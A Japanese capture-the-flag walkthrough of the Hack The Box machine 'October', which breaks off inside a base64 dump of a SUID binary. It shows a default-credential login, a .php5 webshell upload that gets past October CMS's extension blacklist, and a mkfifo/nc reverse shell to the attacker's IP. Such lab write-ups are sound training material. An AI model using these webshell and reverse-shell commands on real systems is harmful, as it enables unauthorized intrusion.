本稿では、Hack The Boxにて提供されている Retired Machines の「October」に関する攻略方法(Walkthrough)について検証します。
Hack The Boxに関する詳細は、「Hack The Boxを楽しむためのKali Linuxチューニング」を併せてご確認ください。
マシンの詳細
エグゼクティブサマリー
ツール
- nmap
- OWASP DirBuster
- searchsploit
- EDB-ID: 41936
- PHP WebShell
- SimpleHTTPServer
- Linpeas
- radare2
- gdb-peda
- pattern_create / pattern_offset
- ldd
- readelf
詳細手順
ネットワークサービススキャン
nmap
IPアドレス10.129.122.241をoctober.htbとして、/etc/hostsに追加します。その上で、nmapを使用し、ポートスキャンを実行します。
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -T4 -A -v october.htb
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-01 09:00 EDT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 09:00
Completed NSE at 09:00, 0.00s elapsed
Initiating NSE at 09:00
Completed NSE at 09:00, 0.00s elapsed
Initiating NSE at 09:00
Completed NSE at 09:00, 0.00s elapsed
Initiating Connect Scan at 09:00
Scanning october.htb (10.129.122.241) [1000 ports]
Discovered open port 80/tcp on 10.129.122.241
Discovered open port 22/tcp on 10.129.122.241
Completed Connect Scan at 09:01, 15.61s elapsed (1000 total ports)
Initiating Service scan at 09:01
Scanning 2 services on october.htb (10.129.122.241)
Completed Service scan at 09:01, 7.26s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.122.241.
Initiating NSE at 09:01
Completed NSE at 09:01, 8.18s elapsed
Initiating NSE at 09:01
Completed NSE at 09:01, 1.30s elapsed
Initiating NSE at 09:01
Completed NSE at 09:01, 0.00s elapsed
Nmap scan report for october.htb (10.129.122.241)
Host is up (0.25s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
| 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 1D585CCF71E2EB73F03BCF484CFC2259
| http-methods:
| Supported Methods: GET HEAD POST PUT PATCH DELETE OPTIONS
|_ Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 09:01
Completed NSE at 09:01, 0.00s elapsed
Initiating NSE at 09:01
Completed NSE at 09:01, 0.00s elapsed
Initiating NSE at 09:01
Completed NSE at 09:01, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.16 seconds
これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。
| ポート番号 | サービス | バージョン |
|---|---|---|
| 22/tcp | ssh | OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http | Apache httpd 2.4.7 ((Ubuntu)) |
http-titleより、October CMS - Vanillaが稼働していることが特定できました。
HTTPサービスのスキャン
Firefoxブラウザを使って80/tcpにアクセスしてみます。

隠しディレクトリの探索
OWASP DirBusterを使用し、October CMSの隠しディレクトリを探索します。

http://october.htb/backend/backend/auth/signinページにたどり着きました。初期設定のアカウントadmin:adminの組み合わせを試します。

アクセス権の取得
October CMSが抱えている脆弱性について、searchsploitコマンドを使って検索します。7件の候補が見つかりました。
┌──(kali㉿kali)-[~]
└─$ searchsploit October 127 ⨯
-------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------- ---------------------------------
October CMS - Upload Protection Bypass Code Execution (Metasp | php/remote/47376.rb
October CMS 1.0.412 - Multiple Vulnerabilities | php/webapps/41936.txt
October CMS < 1.0.431 - Cross-Site Scripting | php/webapps/44144.txt
October CMS Build 465 - Arbitrary File Read Exploit (Authenti | php/webapps/49045.sh
October CMS User Plugin 1.4.5 - Persistent Cross-Site Scripti | php/webapps/44546.txt
OctoberCMS 1.0.425 (Build 425) - Cross-Site Scripting | php/webapps/42978.txt
OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery | php/webapps/43106.txt
-------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
PHP upload protection bypass
EDB-ID: 41936, October CMS 1.0.412 - Multiple Vulnerabilitiesの内容に注目します。

EDB-ID: 41936には、7件の脆弱性がリストされています。このうち、「PHP upload protection bypass」を突いた攻撃を検討します。
October CMSでは、ファイルの拡張子をブラックリスト(octobercms/vendor/october/rain/src/Filesystem/ Definitions.php:blockedExtensions())と照合してアップロードの可否を制御していると記載されています。
シェルのペイロードをアップロードするには、このブラックリストに掲載されておらず、プログラムとして実行できる拡張子をつける必要があります。
このドキュメントでは、その例として、php5が有効であると示されています。
106 <?php
107 protected function blockedExtensions()
108 {
109 return [
110 // redacted
111 'php',
112 'php3',
113 'php4',
114 'phtml',
115 // redacted
116 ];
117 }
PHP WebShell
PHP製のWebSehllを用意します。ここで、ファイルアップロードフィルターを迂回(バイパス)するために、拡張子をphp5にする必要があります。
<?php system($_REQUEST['cmd']); ?>
OctoberCMSにて[Media]タブに移動し、[Upload]ボタンがクリックします。作成したcmd.php5をアップロードします。

ターミナルより設置したPHP WebShellの動作確認を行います。
┌──(kali㉿kali)-[~/october]
└─$ curl http://october.htb/storage/app/media/cmd.php5?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
リバースシェルの確立
リバースシェルを確立します。はじめに、攻撃端末(kali)側でncコマンドを使って待ち受けます。
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 4444
october.htb側にて、リバースシェルを立ち上げます。
┌──(kali㉿kali)-[~/october]
└─$ curl http://october.htb/storage/app/media/cmd.php5 --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 4444 >/tmp/f"
シェルのアップグレード
操作性を高めるため、シェルをアップグレードします。
- Pythonの
ptyモジュールを使って、bashシェルを生成するpython -c 'import pty;pty.spawn("bash")' -
Ctrl-Zを押してシェルをバックグラウンドに転送する - sttyコマンドを使って、echoを無効
stty raw -echo - バッググラウンドで動作していた
netcatをフォアグラウンドで再開するするように指定する
$ python -c 'import pty;pty.spawn("bash")'
www-data@october:/var/www/html/cms/storage/app/media$ ^Z
zsh: suspended nc -nlvp 4444
┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg 148 ⨯ 1 ⚙
[1] + continued nc -nlvp 4444
export SHELL=bash
<tml/cms/storage/app/media$ export TERM=xterm-256color
システム探索
userフラグの取得
/home/harryディレクトリへ移動します。user.txtファイルが確認できます。
www-data@october:/var/www/html/cms/storage/app/media$ cd /home
www-data@october:/home$ ls
harry
www-data@october:/home$ cd harry
www-data@october:/home/harry$ ls
october-1.0.412.tar.gz user.txt
flag.txtフラグを取得します。
www-data@october:/home/harry$ cat user.txt
2916{BLOCKED}89c0
特権エスカレーション
「Linpeas」ツールを使ってシステム探索を行います。
攻撃端末(kali)側でSimpleHTTPServerを立ち上げ、ツールをダウンロードできるようにします。
┌──(kali㉿kali)-[~/OffsecVM/bin/lin]
└─$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
10.129.46.120 - - [04/Apr/2021 21:30:34] "GET /linpeas.sh HTTP/1.1" 200 -
october.htb側でlinpeas.shツールをダウンロードします。
www-data@october:/tmp$ wget http://10.10.14.101:8080/linpeas.sh
--2021-04-05 04:30:33-- http://10.10.14.101:8080/linpeas.sh
Connecting to 10.10.14.101:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 233665 (228K) [text/x-sh]
Saving to: 'linpeas.sh'
100%[======================================>] 233,665 92.8KB/s in 2.5s
2021-04-05 04:30:36 (92.8 KB/s) - 'linpeas.sh' saved [233665/233665]
linpeas.shに実行権限を与え、実行します。
www-data@october:/tmp$ chmod +x linpeas.sh
www-data@october:/tmp$ ./linpeas.sh
linpeas.shの実行レポートにおける、Interesting Files項目に注目します。
SUIDとSGIDファイルの探索
findコマンドを実行し、システム上のSUIDとSGIDファイルの探索を行うことも有効です。
ここで、コマンド構文はSUID (4000)かSGID (2000)のどちらかの値にマッチする条件を指定するために、次のように記述することができます。
/6000は、4000か2000のどちらかの値を探すという意味です。
www-data@october:/tmp$ find / -type f -perm /6000 -ls 2>/dev/null
267491 68 -rwsr-xr-x 1 root root 67704 Nov 24 2016 /bin/umount
262216 40 -rwsr-xr-x 1 root root 38932 May 8 2014 /bin/ping
266648 32 -rwsr-xr-x 1 root root 30112 May 15 2015 /bin/fusermount
262222 36 -rwsr-xr-x 1 root root 35300 May 17 2017 /bin/su
262217 44 -rwsr-xr-x 1 root root 43316 May 8 2014 /bin/ping6
267489 88 -rwsr-xr-x 1 root root 88752 Nov 24 2016 /bin/mount
928759 8 -rwsr-xr-x 1 root root 5480 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
1053687 484 -rwsr-xr-x 1 root root 492972 Aug 11 2016 /usr/lib/openssh/ssh-keysign
931266 12 -rwsr-xr-x 1 root root 9808 Nov 24 2015 /usr/lib/policykit-1/polkit-agent-helper-1
395450 328 -rwsr-xr-- 1 root messagebus 333952 Dec 7 2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
917752 12 -rwxr-sr-x 3 root mail 9704 Dec 4 2012 /usr/bin/mail-unlock
917774 156 -rwsr-xr-x 1 root root 156708 Oct 14 2016 /usr/bin/sudo
928810 324 -rwxr-sr-x 1 root ssh 329144 Aug 11 2016 /usr/bin/ssh-agent
917752 12 -rwxr-sr-x 3 root mail 9704 Dec 4 2012 /usr/bin/mail-touchlock
930676 36 -rwxr-sr-x 1 root mlocate 34452 Jun 20 2013 /usr/bin/mlocate
930957 400 -rwxr-sr-x 1 root utmp 406700 Nov 7 2013 /usr/bin/screen
922948 32 -rwsr-xr-x 1 root root 30984 May 17 2017 /usr/bin/newgrp
931257 20 -rwsr-xr-x 1 root root 18168 Nov 24 2015 /usr/bin/pkexec
922277 48 -rwsr-xr-x 1 root root 45420 May 17 2017 /usr/bin/passwd
922274 44 -rwsr-xr-x 1 root root 44620 May 17 2017 /usr/bin/chfn
917752 12 -rwxr-sr-x 3 root mail 9704 Dec 4 2012 /usr/bin/mail-lock
930329 12 -rwxr-sr-x 1 root tty 9748 Jun 4 2013 /usr/bin/bsd-write
921702 68 -rwsr-xr-x 1 root root 66284 May 17 2017 /usr/bin/gpasswd
930650 20 -rwsr-xr-x 1 root root 18136 May 8 2014 /usr/bin/traceroute6.iputils
930677 72 -rwsr-xr-x 1 root root 72860 Oct 21 2013 /usr/bin/mtr
921701 36 -rwsr-xr-x 1 root root 35916 May 17 2017 /usr/bin/chsh
921700 20 -rwxr-sr-x 1 root shadow 18208 May 17 2017 /usr/bin/expiry
917608 20 -rwxr-sr-x 1 root tty 18056 Nov 24 2016 /usr/bin/wall
917640 36 -rwxr-sr-x 1 root crontab 34824 Feb 9 2013 /usr/bin/crontab
930939 48 -rwsr-sr-x 1 daemon daemon 46652 Oct 21 2013 /usr/bin/at
917662 16 -rwxr-sr-x 1 root mail 13960 Dec 7 2013 /usr/bin/dotlockfile
921399 56 -rwxr-sr-x 1 root shadow 53516 May 17 2017 /usr/bin/chage
930733 316 -rwsr-xr-- 1 root dip 323000 Apr 21 2015 /usr/sbin/pppd
928820 20 -rwsr-sr-x 1 libuuid libuuid 17996 Nov 24 2016 /usr/sbin/uuidd
664031 8 -rwsr-xr-x 1 root root 7377 Apr 21 2017 /usr/local/bin/ovrflw
262377 32 -rwxr-sr-x 1 root shadow 30432 Mar 16 2016 /sbin/unix_chkpwd
linpeas.shまたはfindコマンドによってovrflwというプログラムを見つけました。
$ ls -al /usr/local/bin/ovrflw
-rwsr-xr-x 1 root root 7377 Apr 21 2017 /usr/local/bin/ovrflw
www-data@october:/tmp$ /usr/local/bin/ovrflw
Syntax: /usr/local/bin/ovrflw <input string>
ovrflw プログラムの解析
ファイルの転送
ovrflwプログラムを攻撃端末(kali)側に転送します。ここでは、BASE64にエンコードして転送を行います。
www-data@october:/usr/local/bin$ cat ovrflw | base64 -w0
攻撃端末(kali)側にてデコードします。
┌──(kali㉿kali)-[~/october]
└─$ echo "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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